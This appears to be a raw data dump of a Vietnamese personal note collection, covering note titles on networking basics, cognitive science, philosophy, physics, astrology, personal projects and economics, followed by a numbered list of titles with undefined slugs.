"Giao thức", + "IP, DNS, DHCP", + "IPv6", + "NAT là lý do khiến cho mọi nỗ lực giải trung tâm hoá internet bị phá hỏng" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "MAC không thay đổi được, còn IP thì thay đổi được" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "Subnet mask là độ lớn của host network" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "IP, DNS, DHCP", + "Switch là cái bưu điện. Mọi thư từ đều được gửi đến đó chứ không gửi đến địa chỉ người nhận" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "SSL, TLS", + "CA là nhà cung cấp chứng chỉ số cho TLS" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "SSL, TLS", + "Các trình duyệt bây giờ đều bắt buộc phải có SSL mới xem là an toàn, dù không có nó thì cũng chẳng có vấn đề gì" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "SSL, TLS", + "Dịch vụ", + "Nếu GitHub Page không issue SSL được, thử xoá tên miền rồi thêm lại vào xem" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "SSL, TLS", + "Dịch vụ", + "Nếu không dùng proxy của CloudFlare thì sẽ không dùng TLS của nó" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "SSL, TLS", + "Dịch vụ", + "TLS của CloudFlare khác với TLS của host" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "SSL, TLS", + "Dịch vụ", + "Universal SSL chỉ hỗ trợ tới tên miền phụ cấp 1" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "SSL, TLS", + "Dịch vụ", + "Universal SSL là TLS mặc định của CloudFlare" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "SSL, TLS", + "Dịch vụ", + "Với tên miền có dấu thì VirusTotal sẽ nghĩ là có virus nên không cấp chứng chỉ" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "SSL, TLS", + "SSL và TLS tạo một ống bảo vệ cho HTTP" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Giao thức", + "SSL, TLS", + "TLS là một phiên bản cải tiến của SSL, nhưng mọi người vẫn quen gọi nó là SSL" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Máy chủ", + "Apache, Nginx là những web server phổ biến" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Máy chủ", + "CDN tạo ra điểm truy cập gần nhất dựa vào vị trí địa lý của người dùng, để thời gian tải web không chịu ảnh hưởng bởi việc nó được đặt ở đâu" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Máy chủ", + "Cloudflare đóng vai trò là một proxy và CDN" +] + +🚀: false +[ "", "🖥️Mạng máy tính", "Máy chủ", "CNAME là" ] + +🚀: false +[ "", "🖥️Mạng máy tính", "Máy chủ", "Cpanel là" ] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Máy chủ", + "Edge là sự kết hợp giữa CDN và serverless" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Máy chủ", + "Proxy làm trung gian để client lấy dữ liệu từ server" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Máy chủ", + "Reverse proxy chủ yếu bảo vệ server. Forward proxy chủ yếu bảo vệ client" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Máy chủ", + "Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Máy chủ", + "Serverless là loại server tự khởi động mỗi lần có người truy cập thay vì luôn trực sẵn chờ người truy cập" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Tên miền, URI", + "127.0.0.1 và localhost là một" +] + +🚀: false +[ "", "🖥️Mạng máy tính", "Tên miền, URI", "Mọi URL đều là URI" ] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Tên miền, URI", + "Origin là sự kết hợp của protocol, hostname và port" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Tên miền, URI", + "Port là số hiệu của chương trình cụ thể được nhận gói tin" +] + +🚀: false +[ "", "🖥️Mạng máy tính", "Tên miền, URI", "Tên miền có dấu được" ] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Tên miền, URI", + "URL bao gồm scheme, host, port, path, query, fragment" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Tên miền, URI", + "URN giống như tên người, còn URL giống như địa chỉ nhà" +] + +🚀: false +[ + "", + "🖥️Mạng máy tính", + "Tên miền, URI", + "www thực ra chỉ là một tên miền thứ cấp như bao tên miền thứ cấp bình thường khác" +] + +🚀: true +[ "", "🖥️Mạng máy tính" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Chính trị", + "Chủ nghĩa Marx – Lenin là sản phẩm của Stalin" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Giáo dục", + "Đông Kinh Nghĩa Thục là trường khai phóng đầu tiên ở Việt Nam" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Hậu hiện đại trong kiến trúc là sự kết hợp giữa các phong cách khác nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Bộ não được thiết kế để loại bỏ mối nguy hiểm ngay bây giờ, không phải trong tương lai" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Có những vấn đề lúc cần nói ra thì không không nghĩ ra nhưng vẫn cảm thấy chưa vét cạn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Có sự chênh lệch về sự thoải mái trong việc hỏi và việc trả lời" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Framework thường dùng cho nhiều tình huống khác nhau, trong khi model thường dùng cho một tình huống cụ thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Hiểu biết sâu làm ta thấy khoái cảm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Hot cognition và cold cognition" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Lặp lại theo khoảng (spaced repetition)" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Con người cố gắng nhìn ra mẫu hình, kể cả khi đó chỉ là sự ngẫu nhiên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Con người thường cố gắng tìm ra mẫu hình, kể cả khi nó không có ở đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Cờ vua trông như là tư duy logic, nhưng thật ra chỉ là nhìn thấy mẫu hình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Trực giác là việc nhìn ra mẫu hình không hơn không kém" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Trực giác là việc đi tới kết luận mà không thông qua suy luận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Mẫu hình, trực giác", + "Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Não con người thay đổi rất chậm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Não cần thời gian để kết nối các ý tưởng lại với nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Bất hoà nhận thức giúp chúng ta hiểu sâu sắc hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Càng mất nhiều ta càng học nhiều" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Các nghịch lý tạo ra bất hoà nhận thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Cảm xúc không chỉ khiến ta nhớ tốt hơn, mà còn điều hướng những suy nghĩ tự động" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Khoảnh khắc loé sáng ý tưởng thường đến vào những lúc ta không tập trung chú ý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Sự dễ hiểu làm tăng sự đáng tin, dù có thể nó không hợp lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Sự lập luận dùng để thống nhất, nhưng lại có sự thờ ơ với lập luận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Sự lập luận không được tiến hoá để có quyết định tốt hơn, mà để có quyết định nhiều người đồng ý nhất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Sự suy luận (reasoning) là việc đưa ra những thông tin mới từ những thông tin đã có một cách có ý thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Sự đau chi phối sự diễn giải của ta" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Ta không nhớ những điều mình đã làm người khác đau bằng nhớ những điều người khác làm mình đau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Thay vì suy luận để đi tới kết luận, chúng ta thường dùng kết luận để suy luận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Trong hoạt động nhóm, thiên kiến xác nhận giúp giảm gánh nặng suy nghĩ mà vẫn đảm bảo mọi lập luận được trình bày và cân nhắc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Truyện cười thể hiện những nghịch lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Việc con người không thường xuyên suy luận tốt dường như là một sự sắp đặt có chủ ý của tiến hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Suy luận", + "Đuối lý không nhất thiết là thấy thuyết phục hoàn toàn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Sự trì hoãn giúp giảm những hệ quả không lường trước được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Tiếng Việt rất không thuận lợi cho việc tìm hiểu các mức độ nhận thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Khoa học nhận thức", + "Việc trì hoãn giúp đánh giá được mức độ quan trong" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Khoa học nhận thức", "Đường cong trí nhớ" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế", + "Ngày, tháng, năm là những đơn vị thời gian tự nhiên. Tuần là do con người tự đặt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Lịch sử", + "Lịch sử Việt Nam", + "Pháp dùng Việt Nam để thí nghiệm một số cải cách xã hội của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Lịch sử", + "Lịch sử Việt Nam", + "Từ góc nhìn sinh thái học kháng chuẩn, mọi phát biểu nhân danh tự nhiên đều có chỗ đáng ngờ" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Rhizome" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Toàn cầu hoá", + "Dòng vốn từ Nhật, Hàn đến Việt Nam còn nhiều hơn ở phương Tây" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Toàn cầu hoá", + "Tiếng nói của các quốc gia nhỏ trong luật quốc tế đã được lắng nghe nhiều hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Toàn cầu hoá", + "Toàn cầu hoá là tiến trình chuyển dịch vốn, lao động, kỹ thuật, hàng hoá, tư tưởng và con người giữa những vùng đất, xã hội, văn hoá và kinh tế ở những chân trời khác nhau trên thế giới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Toàn cầu hoá", + "Việc nhà nước đề kháng với sự ảnh hưởng phương Tây đã xem lại các quan điểm của mình về tôn giáo trước đây" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Có những người bài xích khoa học nhưng rất sợ bị nói là phản khoa học" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Tử vi", + "12 thiên can và 12 địa chi thực ra chỉ là hệ số đếm có tên chứ cũng chẳng có ý nghĩa gì" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Tử vi", + "Các khái niệm bị trộn lẫn vào nhau, nhưng lại có rất nhiều lớp phân loại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Tử vi", + "Cơ số 12 có vẻ tạo ra được nhiều tổ hợp đối xứng mà trí nhớ ngắn hạn xử lý được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Tử vi", + "Hạn là giới hạn, hạn chế, không phải là điều tệ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Tử vi", + "Kinh dịch, ngũ hành, tử vi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Tử vi", + "Nhân sự là con người và sự kiện" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Tử vi", + "Sự hấp dẫn nằm ở tính đối xứng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Tử vi", + "Tử vi cho rằng thiên địa tương thông, nhưng rốt cuộc các sao chỉ là các khái niệm được cho trước chứ không phải là sao thật" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Tử vi", + "Tử vi có ý định dự báo số phận như thể là nó đã an bài không thay đổi được, mà là để dự đoán xem môi trường có thuận lợi cho những quyết định của một người hay không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Tâm linh", + "Tử vi", + "Tử vi lấy mô hình của triều đình phong kiến để phân loại" +] + +🚀: false +[ "", "Vật lý và ẩn dụ liên ngành" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Crackpot là những người không có điều kiện để được đào tạo bài bản" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Các cuộc đối thoại chủ yếu ở tạp chí khoa học" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Nhận thức", "Bản ngã chính là sự chú ý" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhận thức", + "Bản ngã là một tập hợp các mối quan tâm kết hợp với nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhận thức", + "một nhóm các mối quan tâm sẽ trở thành bản ngã ngay vào lúc nó thể hiện sự kiểm soát đối với các mối quan tâm khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhận thức", + "Nguồn gốc của nhận thức là để thích nghi với môi trường tốt hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhận thức", + "Sự chú ý là kết quả của các mối quan tâm cạnh tranh với nhau về nguồn tài nguyên chung" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhận thức", + "❓Có sự đồng nhất giữa kích thích tâm lý và kích thích sinh lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhận thức", + "❓Mối quan hệ giữa kích thích sinh lý và kích thích tâm lý chính là mối quan hệ giữa hai góc nhìn về thông tin" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhận thức", + "❓Sự chú ý là để đạt được nhiều sự thoả mãn hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Sự sống", + "Các quá trình nhận thức được sinh ra nhằm tối ưu hoá việc tự sao" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Sự sống", + "Hành vi của sinh vật chịu tác động bởi các kích thích từ môi trường, gồm kích thích sinh lý hoặc kích thích tâm lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Sự sống", + "Sự tiến hoá là để thích ứng tốt hơn với môi trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Sự sống", + "Thể tự sao là cách thức để đạt entropy nhanh nhất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Sự sống", + "Vũ trụ tạo ra sự sống để thúc đẩy tới cái chết nhiệt của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Sự sống", + "❓Các sinh vật không có các quá trình nhận thức chỉ có kích thích sinh lý, không có kích thích tâm lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Sự sống", + "❓Mối quan hệ giữa tiến hoá, thích nghi, tối ưu hoá, chuyên môn hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Sự sống", + "❓Sự thoả mãn là việc đạt được kích thích có lợi cho sự tự sao" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Triết học", "Deleuze", "Deleuze dao động tử" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Triết học", "Tranh luận người thép" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Triết học", + "Triết học phương Đông", + "Ham muốn và chấp có thể xem là một" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Triết học", + "Triết học phương Đông", + "Tính dẻo thần kinh, ẩn dụ, và thiên địa nhân tam hợp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Triết học", + "Triết học phương Đông", + "Vô vi là một ẩn dụ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Triết học", + "Triết học phương Đông", + "❓Sự chánh niệm sâu bản chất là hạn chế kích thích tâm lý càng nhiều càng tốt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Triết học", + "Triết học tinh thần", + "❓Bản ngã (self) và tinh thần có cùng bản chất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Triết học", + "Triết học tinh thần", + "❓Lựa chọn là sự tối ưu hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Triết học", + "Vật lý luận", + "❓Bản chất của mối quan tâm là xu hướng tăng số lượng cộng hưởng của các dao động tử trong cơ thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Triết học", + "Vật lý luận", + "❓Kích thích sinh lý là sự cộng hưởng của các dao động tử" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Triết học", + "Vật lý luận", + "❓Sự khác biệt giữa metaphor circular và vật lý luận là gì" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Triết học", "Động học niềm tin" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "Kích thích năng lượng chính là sự cộng hưởng của dao động tử điều hoà" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "Nhiệt động học", + "Entropy không chỉ phải nhiều hơn, mà còn là nhiều hơn nhất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "Nhiệt động học", + "Entropy thống kê và entropy thông tin là một" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "Nhiệt động học", + "Maximum Entropy is a Foundation for Complexity Science" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "Nhiệt động học", + "❓Sự tự sao là sự cộng hưởng của các dao động tử" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "Năng lượng cũng không tự sinh ra cũng không tự mất đi, mà chỉ chuyển từ dạng này sang dạng khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "Vật lý làm việc với dao động tử điều hòa ở các cấp độ càng ngày càng trừu tượng hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "❓Có thể miêu tả nguyên lý tăng entropy và nguyên lý tác dụng tối thiểu qua dao động tử điều hoà" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "❓Mối liên hệ giữa dao động tử điều hoà và quả cầu Riemann" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "❓Mối quan hệ giữa nguyên lý tác dụng tối thiểu và sự tối ưu hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Vật lý", + "❓Trường vector biểu diễn dưới dạng dao động tử thế nào" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Crackpot" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Lựa chọn" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Sự sống, nhận thức", "Chú ý" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Sự sống, nhận thức", + "Hành vi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Sự sống, nhận thức", + "Kích thích sinh lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Sự sống, nhận thức", + "Kích thích tâm lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Sự sống, nhận thức", + "Kích thích" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Sự sống, nhận thức", + "Môi trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Sự sống, nhận thức", + "Nhận thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Sự sống, nhận thức", + "Thích nghi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ξ Khái niệm", + "Sự sống, nhận thức", + "Tiến hoá" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Sự sống, nhận thức", "Tự sao" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Triết học", "Bản ngã" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Triết học", "Deleuze" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Triết học", "Ham muốn" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Triết học", "Mối quan tâm" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Triết học", "Nhu cầu" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Tự phát" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Vật lý", "Dao động tử" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Vật lý", "Entropy" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Vật lý", "Nhóm đối xứng" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Vật lý", "Trường" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Vật lý", "Tác dụng" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Vật lý", "Tối ưu hoá" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Vật lý luận" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Khái niệm", "Ẩn dụ" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ξ Nguồn", "Tự ngẫm nghĩ, trải nghiệm" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Ẩn dụ", "Chúng ta sống bằng ẩn dụ" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ẩn dụ", + "Các ẩn dụ tri nhận cơ bản dựa trên mối tương quan của cơ thể và xung quanh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ẩn dụ", + "Ẩn dụ là nền tảng của mọi suy nghĩ và lập luận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ẩn dụ", + "Ẩn dụ tô đậm những tính chất chung và ẩn đi những tính chất không chung" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Ẩn dụ", + "Ẩn dụ được nhúng trong các neuron não. Chúng tồn tại dưới dạng vật lý" +] + +🚀: true +[ + "", + "📐 Dự án", + "Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn" +] + +🚀: false +[ + "", + "📐 Dự án", + "Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn", + "Sự tối ưu hoá" +] + +🚀: false +[ + "", + "📐 Dự án", + "Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn", + "Sự đối xứng" +] + +🚀: false +[ + "", + "📐 Dự án", + "Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn", + "Tính lỏng" +] + +🚀: false +[ + "", + "📐 Dự án", + "Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn", + "Điểm vô tận" +] + +🚀: false +[ + "", + "📐 Dự án", + "Sử dụng vật lý để làm các ví dụ trở nên chặt chẽ hơn", + "Đường thẳng song song" +] + +🚀: false +[ "", "📐 Dự án", "Thử xây dựng lại Đạo giáo từ khoa học hiện đại" ] + +🚀: false +[ "", "📐 Dự án", "Toán học", "Học toán để làm gì" ] + +🚀: false +[ "", "📐 Dự án", "Toán học", "Làm sao để giỏi toán" ] + +🚀: false +[ + "", + "📐 Dự án", + "Toán học", + "Toán học là nghệ thuật đặt ra những cái tên khác nhau cho cùng một thứ" +] + +🚀: false +[ "", "📐 Dự án", "Trả lời các câu hỏi cho vật lý luận" ] + +🚀: false +[ + "", + "📐 Dự án", + "Xoá bỏ sự bắt nạt đối với người có hứng thú đóng góp và sáng tạo nhưng không có điều kiện để được đào tạo bài bản" +] +2755 +Tồn tại trong thế giới tư bản +• Slug: undefined +• ID: 0 +ESG +• Slug: undefined +• ID: 1 +Các câu hỏi về việc thành lập quỹ tín dụng, nền kinh tế phi chính thức, bản chất CSR của doanh nghiệp và tâm lý con người về tiền +• Slug: undefined +• ID: 2 +Có những lúc câu hỏi chất vấn thì người kia lại bận, chỉ tập trung vào những câu người ta quan trọng hơn. Mà thấy bị vậy thì lại dễ nghi họ +• Slug: undefined +• ID: 3 +Công đoàn là tổ chức bảo vệ quyền lợi người lao động +• Slug: undefined +• ID: 4 +Không có tổ chức nào có đối tượng thụ hưởng là người đang nợ +• Slug: undefined +• ID: 5 +Luật pháp chỉ hiểu về kinh doanh, chứ ko phải là phi lợi nhuận. Chính thức hoá khi lập quỹ là chết với luật tín dụng +• Slug: undefined +• ID: 6 +Phạm Trường Sơn +• Slug: undefined +• ID: 7 +❓Điều gì khiến một người có tiền nhiều tới mức đầu tư cũng ko hết vẫn ko muốn cho tiền?Tại sao việc đáp ứng nhu cầu người khác lại không mạnh hơn việc tối đa hoá tiền? +• Slug: undefined +• ID: 8 +Chúng ta có cảm xúc cổ đại, thiết chế thời trung đại và công nghệ của chúa +• Slug: undefined +• ID: 9 +Công nghệ vừa làm tăng sự phức tạp của vấn đề, vừa làm giảm khả năng hiểu được vấn đề của chúng ta +• Slug: undefined +• ID: A +CORE Econ +• Slug: undefined +• ID: B +Cho vay ngang hàng +• Slug: undefined +• ID: C +Con số cho tiền cho thiện nguyện dựa trên cộng đồng không tăng lên dù có rất nhiều nền tảng +• Slug: undefined +• ID: D +Kể cả khi AI có thể làm mất việc, thì những ngành khác cũng sẽ tạo ra nhiều loại việc khác +• Slug: undefined +• ID: E +Mọi người vẫn nghĩ công nghệ mới là AI, nhưng nó chỉ là một công nghệ trong rất nhiều các loại công nghệ mới khác +• Slug: undefined +• ID: F +Năm 1990 UNDP gắn phát triển vào phát triển con người +• Slug: undefined +• ID: G +Nếu bạn thấy được ý nghĩa trong công việc bạn làm thì bạn sẽ không lo lắng về người dùng chùa +• Slug: undefined +• ID: H +Chưa có một lý thuyết chắc chắn nào về nền kinh tế chăm sóc +• Slug: undefined +• ID: I +Các công việc nấu nướng, dọn dẹp, chăm sóc trẻ em, người già và người bệnh tại gia đình thường được hiểu là công việc chăm sóc không lương +• Slug: undefined +• ID: J +Công việc chăm sóc không lương thường vô hình trong các chính sách và ngân sách bởi vì nó không nằm trong định nghĩa và đo lường theo cách truyền thống của nền kinh tế +• Slug: undefined +• ID: K +Công việc chăm sóc không lương được gán cho là không có giá trị về kinh tế bất chấp một thực tế về những đóng góp to lớn của công việc này cho nền kinh tế và xã hội +• Slug: undefined +• ID: L +Nhiều thảo luận về nền kinh tế chăm sóc chỉ nói đến lợi nhuận tiềm năng của nó, chứ không để ý vào các 